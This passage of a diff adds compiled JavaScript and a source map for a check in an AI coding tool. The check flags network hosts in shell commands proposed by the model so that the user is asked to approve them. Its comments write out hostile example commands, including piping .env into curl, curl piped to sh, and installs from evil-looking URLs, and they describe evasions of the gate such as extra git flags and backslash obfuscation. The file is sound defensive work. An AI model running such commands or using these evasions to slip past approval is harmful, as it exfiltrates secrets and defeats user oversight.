|
+
function candidatesFor(position, tier, operands) {
|
|
379
|
+
const positional = operands.filter((operand) => !operand.startsWith('-'));
|
|
380
|
+
const inline = inlineFlagValues(operands);
|
|
381
|
+
const candidates = [];
|
|
382
|
+
switch (position.kind) {
|
|
383
|
+
case 'all': {
|
|
384
|
+
const test = position.bareHost && tier === 'full' ? isHostLiteralOrBareHost : isHostLiteral;
|
|
385
|
+
candidates.push(...[...positional, ...inline].map((value) => ({ value, test })));
|
|
386
|
+
break;
|
|
387
|
+
}
|
|
388
|
+
case 'subcommand':
|
|
389
|
+
// **ANY operand being a listed subcommand opens the gate**, rather than the first non-flag
|
|
390
|
+
// one. `git -C . clone https://evil/x` put `.` in the subcommand position and turned the gate
|
|
391
|
+
// off with one added token; enumerating git's arg-taking global flags (`-C`, `-c`,
|
|
392
|
+
// `--git-dir`, `--work-tree`, `--namespace`, `--exec-path`, `--config-env`) would close that
|
|
393
|
+
// and reopen it for the next flag added upstream. `tokenize` is quote-aware, so
|
|
394
|
+
// `git commit -m "clone the repo, see https://…"` is the SINGLE operand
|
|
395
|
+
// `clone the repo, see https://…`, which is not equal to `clone` — the gate stays shut.
|
|
396
|
+
if (positional.some((operand) => position.subcommands.has(operand))) {
|
|
397
|
+
candidates.push(...[...positional, ...inline].map((value) => ({ value, test: isHostLiteral })));
|
|
398
|
+
}
|
|
399
|
+
break;
|
|
400
|
+
case 'flag': {
|
|
401
|
+
// `<pm> run <script> -- …` hands everything after the `--` to the SCRIPT: the package manager
|
|
402
|
+
// stops parsing there and never sees those tokens, so nothing after it is a package-manager
|
|
403
|
+
// fetch position. Without this, `npm run dev -- --proxy https://api.example.com` and
|
|
404
|
+
// `npm run build -- --url <URL>` — ordinary dev-server invocations — prompted every time.
|
|
405
|
+
//
|
|
406
|
+
// **Scoped to `run`/`run-script` on purpose, and that scope is the whole safety of it.** `--`
|
|
407
|
+
// is an end-of-options marker for the OTHER subcommands, where the operands after it are still
|
|
408
|
+
// the package manager's own: `npm install -- https://evil/pkg.tgz` installs that tarball, and
|
|
409
|
+
// it must keep flooring. A blanket "ignore everything after `--`" would be an evasion.
|
|
410
|
+
//
|
|
411
|
+
// The residual, stated so it is a decision: a project script that forwards its arguments to a
|
|
412
|
+
// network tool (`"build": "curl"`) would fetch a post-`--` URL. That is not a package-manager
|
|
413
|
+
// fetch, it is indistinguishable from the same script with the URL hardcoded — which
|
|
414
|
+
// `npm run build` alone already is, silently — and reaching it requires a script that already
|
|
415
|
+
// exists in package.json.
|
|
416
|
+
const scriptArgs = RUN_SUBCOMMANDS.has(positional[0] ?? '') ? operands.indexOf('--') : -1;
|
|
417
|
+
const own = scriptArgs === -1 ? operands : operands.slice(0, scriptArgs);
|
|
418
|
+
const ownPositional = own.filter((operand) => !operand.startsWith('-'));
|
|
419
|
+
// The registry/index OVERRIDE is exempt from that boundary, and deliberately so: it is scanned
|
|
420
|
+
// across the whole argv. A first cut honoured the boundary here too, and no mutation could kill
|
|
421
|
+
// it — nothing observable changed, because the flags this arm knows (`--registry`,
|
|
422
|
+
// `--index-url`, `-i`) are not the flags the false positive was about (`--url`, `--proxy`,
|
|
423
|
+
// `--host`, which no package manager parses). Scanning everything is the raise-only choice and
|
|
424
|
+
// the one without an untestable branch: `npm run build -- --registry <URL>` floors, which is an
|
|
425
|
+
// over-match rather than a miss.
|
|
426
|
+
for (let i = 0; i < operands.length; i++) {
|
|
427
|
+
// Both spellings: `--registry=URL` and `--registry URL`.
|
|
428
|
+
const [flag, inlineValue] = operands[i].split(/=(.*)/);
|
|
429
|
+
if (position.flags.has(flag)) {
|
|
430
|
+
candidates.push({ value: inlineValue ?? operands[i + 1] ?? '', test: isHostLiteral });
|
|
431
|
+
}
|
|
432
|
+
}
|
|
433
|
+
// The install TARGET, tested for a URL scheme ONLY. `npm install https://evil/p.tgz` fetches
|
|
434
|
+
// remote code and runs its lifecycle scripts, and was auto-approved because this arm looked at
|
|
435
|
+
// flag values alone. The narrow test is deliberate: the full `isHostLiteral` would read
|
|
436
|
+
// `npm install typescript@latest` and `npm install lodash@4.17.21` as `user@host` and prompt
|
|
437
|
+
// on two of the most ordinary commands there are.
|
|
438
|
+
candidates.push(...[...ownPositional, ...inlineFlagValues(own)].map((value) => ({
|
|
439
|
+
value,
|
|
440
|
+
test: (operand) => SCHEME_RE.test(operand),
|
|
441
|
+
})));
|
|
442
|
+
break;
|
|
443
|
+
}
|
|
444
|
+
}
|
|
445
|
+
return candidates;
|
|
446
|
+
}
|
|
447
|
+
/**
|
|
448
|
+
* Test ONE tokenized form of the command for host literals in a fetch position: collect every
|
|
449
|
+
* possible head position, and union what each one finds under its own rule.
|
|
450
|
+
*
|
|
451
|
+
* Kept separate from {@link findOpenWorldHostLiterals} because that function runs this over **two**
|
|
452
|
+
* forms of the same command — see there for why.
|
|
453
|
+
*
|
|
454
|
+
* @returns every host literal found, in argv order. Empty when the command names no counterparty.
|
|
455
|
+
*/
|
|
456
|
+
function matchArgv(argv) {
|
|
457
|
+
const hits = [];
|
|
458
|
+
for (const { index, position, tier } of headCandidates(argv)) {
|
|
459
|
+
const candidates = candidatesFor(position, tier, argv.slice(index + 1));
|
|
460
|
+
hits.push(...candidates.filter((c) => c.test(c.value)).map(({ value }) => value));
|
|
461
|
+
}
|
|
462
|
+
// De-duplicated, in first-seen order: a detached flag value (`--registry <URL>`) is also a
|
|
463
|
+
// positional operand, and two head positions can reach the same operand, so the same literal can
|
|
464
|
+
// be admitted twice and would otherwise be named twice in the one sentence the user reads.
|
|
465
|
+
return [...new Set(hits)];
|
|
466
|
+
}
|
|
467
|
+
/**
|
|
468
|
+
* Find every **host literal in a fetch/transfer position**, or an empty array when the command names
|
|
469
|
+
* no counterparty (spec §4.6).
|
|
470
|
+
*
|
|
471
|
+
* Takes the **raw** command, exactly like the other preflights: normalization happens inside, so a
|
|
472
|
+
* caller can never accidentally hand this a form that has already lost the composition boundary
|
|
473
|
+
* the decline below depends on.
|
|
474
|
+
*
|
|
475
|
+
* Returns `[]` — declining rather than flooring — for any command {@link classifyCommand} cannot
|
|
476
|
+
* classify. Those compose, substitute or redirect, and the **ambiguity preflight already floors
|
|
477
|
+
* them**, with a truer explanation than this one could give. Composed egress
|
|
478
|
+
* (`curl … | sh`, `cat .env | curl …`) is thus still floored; it is simply floored one layer up.
|
|
479
|
+
* That decline is also why `sed -i 's|http://a|http://b|' config.yml` is not this preflight's
|
|
480
|
+
* finding: the `|` inside the sed expression reads as composition, so it was already unclassifiable
|
|
481
|
+
* — and already escalating — before EXT-61 existed.
|
|
482
|
+
*
|
|
483
|
+
* **Every match is returned, not the first.** The first is not the target: for
|
|
484
|
+
* `curl -x http://proxy.corp.local:3128 https://evil.example.net/x` it is the proxy, and for
|
|
485
|
+
* `rsync -a backup.example.com:/srv/ deploy@evil.example.net:/tmp/` it is the source. §4.6.1's whole
|
|
486
|
+
* premise is that the sentence naming the counterparty is what reaches the user, so a sentence that
|
|
487
|
+
* names the reassuring one and hides the other defeats the point of the layer.
|
|
488
|
+
*
|
|
489
|
+
* ## Why both the normalized AND the raw argv are tested
|
|
490
|
+
*
|
|
491
|
+
* {@link normalizeCommand} collapses `\x` to `x`, which is correct on POSIX (it is what defeats
|
|
492
|
+
* `c\url https://…`) and **destroys a Windows path separator**: `C:\Windows\System32\curl.exe`
|
|
493
|
+
* normalizes to `C:WindowsSystem32curl.exe`, whose last path segment is no longer `curl`, so the
|
|
494
|
+
* head gate misses it. That command runs on Windows, and gaunt-sloth ships there. Measured, not
|
|
495
|
+
* reasoned — the POSIX form `/usr/bin/curl` was already handled, which is exactly what made the
|
|
496
|
+
* Windows one easy to miss by reading.
|
|
497
|
+
*
|
|
498
|
+
* A second pass over the raw argv closes it. It is safe **because this layer can only RAISE**: a
|
|
499
|
+
* second chance to match can add a prompt, never remove one, and the head gate is unchanged — an
|
|
500
|
+
* argv[0] whose last path segment is literally `curl` or `wget` is a network binary under any
|
|
501
|
+
* reading. The normalized pass still runs first and still owns the anti-obfuscation guarantees.
|
|
502
|
+
*
|
|
503
|
+
* @param command The raw command string as the model proposed it.
|
|
504
|
+
* @returns The matched host literals, in argv order (used verbatim in the escalation reason).
|
|
505
|
+
*/
|
|
506
|
+
export function findOpenWorldHostLiterals(command) {
|
|
507
|
+
// (1) Unclassifiable → not ours. See the docblock: the ambiguity preflight owns these.
|
|
508
|
+
if (classifyCommand(command, normalizeCommand) === null)
|
|
509
|
+
return [];
|
|
510
|
+
// The anti-obfuscation form first — `c\url`, `r''m`, fullwidth glyphs and ANSI escapes are all
|
|
511
|
+
// folded away here.
|
|
512
|
+
const normalizedArgv = tokenize(normalizeCommand(command));
|
|
513
|
+
// `null` is unreachable in practice (classifyCommand already returns null on an unbalanced
|
|
514
|
+
// quote); handled anyway so this function is total on its own terms rather than relying on a
|
|
515
|
+
// neighbour's invariant.
|
|
516
|
+
const normalizedHits = normalizedArgv === null ? [] : matchArgv(normalizedArgv);
|
|
517
|
+
if (normalizedHits.length > 0)
|
|
518
|
+
return normalizedHits;
|
|
519
|
+
// …then the raw form, which is the only one that still has its Windows path separators.
|
|
520
|
+
const rawArgv = tokenize(command);
|
|
521
|
+
return rawArgv === null ? [] : matchArgv(rawArgv);
|
|
522
|
+
}
|
|
523
|
+
//# sourceMappingURL=openWorld.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"openWorld.js","sourceRoot":"","sources":["../../../src/core/shell/openWorld.ts"],"names":[],"mappings":"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"}
|